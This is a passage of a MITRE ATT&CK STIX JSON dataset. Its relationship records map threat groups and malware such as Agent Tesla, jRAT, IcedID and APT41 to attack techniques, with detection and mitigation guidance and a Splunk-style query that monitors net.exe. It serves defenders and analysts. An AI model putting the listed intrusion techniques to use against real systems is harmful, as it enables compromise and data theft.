"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--88e52860-d4cc-485a-b23f-ad2cda301727", "created": "2023-02-14T18:43:07.753Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MalwareBytes WoodyRAT Aug 2022", "description": "MalwareBytes Threat Intelligence Team. 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Retrieved September 2, 2021."}], "modified": "2021-09-08T14:35:24.911Z", "description": "[Transparent Tribe](https://attack.mitre.org/groups/G0134) can hide legitimate directories and replace them with malicious copies of the same name.(Citation: Kaspersky Transparent Tribe August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--88f2b6ee-50d5-410c-8428-581ea948748c", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:48:02.849Z", "description": "Monitor newly executed processes associated with account creation, such as net.exe\n\nAnalytic 1 - Create local admin accounts using net.exe\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") (Image= C:\\Windows\\System32\\net.exe OR Image= C:\\Windows\\System32\\net1.exe ) AND CommandLine = * -exportPFX * )</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--88f865ea-0201-4328-a777-8a648daf32ef", "type": "relationship", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.854Z", "description": "Monitor services for changes made to Launch Daemons to execute malicious payloads as part of persistence.", "source_ref": "x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222", "target_ref": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--89006d46-811b-4ad7-9b27-cf9f563418a2", "created": "2024-02-12T20:30:45.291Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. 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Retrieved January 6, 2021."}], "modified": "2021-03-05T18:13:06.615Z", "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has used batch scripts on victim's machines.(Citation: Crowdstrike Indrik November 2018) ", "relationship_type": "uses", "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8906c905-87ff-48bf-b17e-1b8397ef062e", "type": "relationship", "created": "2021-01-25T13:58:25.244Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Dtrack", "url": "https://securelist.com/my-name-is-dtrack/93338/", "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. 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Retrieved May 5, 2020.", "url": "https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-10T14:30:32.214Z", "description": "[Silence](https://attack.mitre.org/groups/G0091) has used ProxyBot, which allows the attacker to redirect traffic from the current node to the backconnect server via Sock4\\Socks5.(Citation: Group IB Silence Sept 2018)\t", "relationship_type": "uses", "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8907c952-38f8-49de-900d-4f2fa0c485c1", "type": "relationship", "created": "2019-01-29T21:40:37.736Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Cobian Aug 2017", "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat", "description": "Yadav, A., et al. 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Retrieved November 13, 2018."}], "modified": "2020-03-16T16:31:26.998Z", "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to perform keylogging on the victim\u2019s machine.(Citation: Zscaler Cobian Aug 2017)", "relationship_type": "uses", "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8908a544-e6b6-485a-8251-6c8dd1fbc040", "type": "relationship", "created": "2020-05-06T21:31:07.624Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. (2019, July). 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Retrieved May 6, 2020."}], "modified": "2020-05-06T21:31:07.624Z", "description": "[Okrum](https://attack.mitre.org/software/S0439) has used DriveLetterView to enumerate drive information.(Citation: ESET Okrum July 2019)", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--890f944f-190d-456d-b194-f5ecb17a0868", "type": "relationship", "created": "2019-06-24T17:20:24.258Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Adwind Feb 2016", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf", "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}], "modified": "2019-06-24T17:20:24.258Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) can capture passwords from common web browsers such as Internet Explorer, Google Chrome, and Firefox.(Citation: Kaspersky Adwind Feb 2016)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8911df73-17ac-430b-b1d5-3a021bc64998", "created": "2022-08-16T19:25:14.629Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DHS CISA AA22-055A MuddyWater February 2022", "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}, {"source_name": "NCSC GCHQ Small Sieve Jan 2022", "description": "NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022.", "url": "https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-12T16:28:19.626Z", "description": "(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: NCSC GCHQ Small Sieve Jan 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--891217a4-3822-4345-b77f-448f41fd9361", "type": "relationship", "created": "2019-01-29T18:44:05.133Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html", "source_name": "Talos Agent Tesla Oct 2018"}, {"source_name": "DigiTrust Agent Tesla Jan 2017", "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/", "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."}, {"source_name": "Fortinet Agent Tesla June 2017", "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html", "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."}, {"source_name": "Bitdefender Agent Tesla April 2020", "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."}, {"source_name": "SentinelLabs Agent Tesla Aug 2020", "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}], "modified": "2020-12-11T22:07:41.427Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can log keystrokes on the victim\u2019s machine.(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Fortinet Agent Tesla June 2017)(Citation: Bitdefender Agent Tesla April 2020)(Citation: SentinelLabs Agent Tesla Aug 2020)", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--89173790-d49a-4ef4-8d14-0fcab9ad8164", "created": "2022-04-19T19:07:07.391Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.", "modified": "2022-04-19T19:07:07.391Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--891a97f1-d3e2-45ff-a079-43dcad21a175", "type": "relationship", "created": "2017-05-31T21:33:27.077Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-dropping-elephant-actor/75328/", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", "source_name": "Securelist Dropping Elephant"}], "modified": "2020-03-19T19:58:58.101Z", "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload was packed with UPX.(Citation: Securelist Dropping Elephant)", "relationship_type": "uses", "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--891f37e3-9c72-4eed-8fcc-8106dc360a97", "type": "relationship", "created": "2020-07-15T20:10:03.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Juniper IcedID June 2020", "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware", "description": "Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."}], "modified": "2020-07-15T20:10:03.852Z", "description": "[IcedID](https://attack.mitre.org/software/S0483) has called <code>ZwWriteVirtualMemory</code>, <code>ZwProtectVirtualMemory</code>, <code>ZwQueueApcThread</code>, and <code>NtResumeThread</code> to inject itself into a remote process.(Citation: Juniper IcedID June 2020)", "relationship_type": "uses", "source_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--891f701a-b0d3-408a-8e2c-e9d9e727930e", "type": "relationship", "created": "2019-02-07T14:02:20.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "SecureAuth. (n.d.).  Retrieved January 15, 2019.", "url": "https://www.secureauth.com/labs/open-source-tools/impacket", "source_name": "Impacket Tools"}], "modified": "2019-04-18T21:49:12.805Z", "description": "[Impacket](https://attack.mitre.org/software/S0357)'s wmiexec module can be used to execute commands through WMI.(Citation: Impacket Tools)", "relationship_type": "uses", "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--89210061-1ce3-4fdf-af84-2afee2062296", "type": "relationship", "created": "2019-04-24T20:48:39.732Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Adwind Feb 2016", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf", "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}], "modified": "2019-06-24T17:20:24.533Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) payloads have been packed.(Citation: Kaspersky Adwind Feb 2016)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--89210755-a9d6-4f6d-b485-1484a0d6db55", "created": "2024-02-15T13:42:27.606Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-15T13:42:27.606Z", "description": "Where possible, consider enforcing the use of container services in rootless mode to limit the possibility of privilege escalation or malicious effects on the host running the container.  ", "relationship_type": "mitigates", "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", "target_ref": "attack-pattern--b0e54bf7-835e-4f44-bd8e-62f431b9b76a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8925d506-5fa7-4d8d-82bd-09c650029469", "created": "2022-10-13T14:53:56.670Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T14:53:56.670Z", "description": "[PcShare](https://attack.mitre.org/software/S1050) has used `rundll32.exe` for execution.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "tool--3a53b207-aba2-4a2b-9cdb-273d633669e7", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--892763cd-4967-49f6-b8a8-212a6f18a19b", "type": "relationship", "created": "2021-08-31T22:15:50.362Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Lokibot Jan 2021", "url": "https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html", "description": "Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}], "modified": "2021-08-31T22:15:50.362Z", "description": "\n[Lokibot](https://attack.mitre.org/software/S0447) has utilized multiple techniques to bypass UAC.(Citation: Talos Lokibot Jan 2021)", "relationship_type": "uses", "source_ref": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--892ff1d1-3da9-489e-89c3-374ab07a417b", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", "source_name": "Proofpoint Operation Transparent Tribe March 2016"}], "modified": "2021-10-15T14:37:09.541Z", "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect and exfiltrate emails from Outlook.(Citation: Proofpoint Operation Transparent Tribe March 2016)", "relationship_type": "uses", "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--893007dc-42e4-4667-a179-95d3890286e7", "type": "relationship", "created": "2022-03-30T14:26:51.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.841Z", "description": "Monitor for DNS traffic to/from known-bad or suspicious domains and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--89328749-11c5-416d-99b9-f3039afc487a", "created": "2019-09-23T23:08:25.350Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:27:10.534Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) created a RAR archive of targeted files for exfiltration.(Citation: FireEye APT41 Aug 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8933e64e-6a0d-4cd1-8cab-514424f22410", "type": "relationship", "created": "2020-03-14T18:19:53.327Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-14T18:19:53.327Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--89363ca8-1cf3-4c40-972c-6e2787a05b43", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html", "description": "Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.", "source_name": "FireEye APT28 Hospitality Aug 2017"}, {"source_name": "US District Court Indictment GRU Oct 2018", "url": "https://www.justice.gov/opa/page/file/1098481/download", "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."}], "modified": "2020-10-06T19:05:11.587Z", "description": "(Citation: FireEye APT28 Hospitality Aug 2017)(Citation: US District Court Indictment GRU Oct 2018) ", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--893c9a7a-7f2c-4b96-877e-06870d5f989f", "type": "relationship", "created": "2020-06-25T17:48:41.211Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "objective-see windtail1 dec 2018", "url": "https://objective-see.com/blog/blog_0x3B.html", "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."}, {"source_name": "SANS Windshift August 2018", "url": "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf", "description": "Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."}], "modified": "2020-06-25T17:48:41.211Z", "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used revoked certificates to sign malware.(Citation: objective-see windtail1 dec 2018)(Citation: SANS Windshift August 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1", "target_ref": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--89423e8b-a8bb-4658-88f7-70cd6912f61f", "type": "relationship", "created": "2020-01-15T18:00:33.973Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-15T18:00:33.973Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f", "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--89424d69-a426-4f76-9e7f-7b2dabe459be", "created": "2017-12-14T16:46:06.044Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Cisco DNSMessenger March 2017", "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html", "description": "Brumaghin, E. and Grady, C.. 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Retrieved May 5, 2021."}], "modified": "2022-01-26T21:16:54.651Z", "description": "[Bisonal](https://attack.mitre.org/software/S0268) has used HTTP for C2 communications.(Citation: Unit 42 Bisonal July 2018)(Citation: Kaspersky CactusPete Aug 2020)", "relationship_type": "uses", "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8961d93e-ec51-42dd-8f76-54d46ea21967", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco H1N1 Part 2", "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}], "modified": "2019-04-29T18:23:16.039Z", "description": "[H1N1](https://attack.mitre.org/software/S0132) bypasses user access control by using a DLL hijacking vulnerability in the Windows Update Standalone Installer (wusa.exe).(Citation: Cisco H1N1 Part 2)", "relationship_type": "uses", "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--89672463-a201-43c7-a24a-1e6d7a1a188a", "type": "relationship", "created": "2020-03-17T14:16:23.897Z", "created_by_ref": 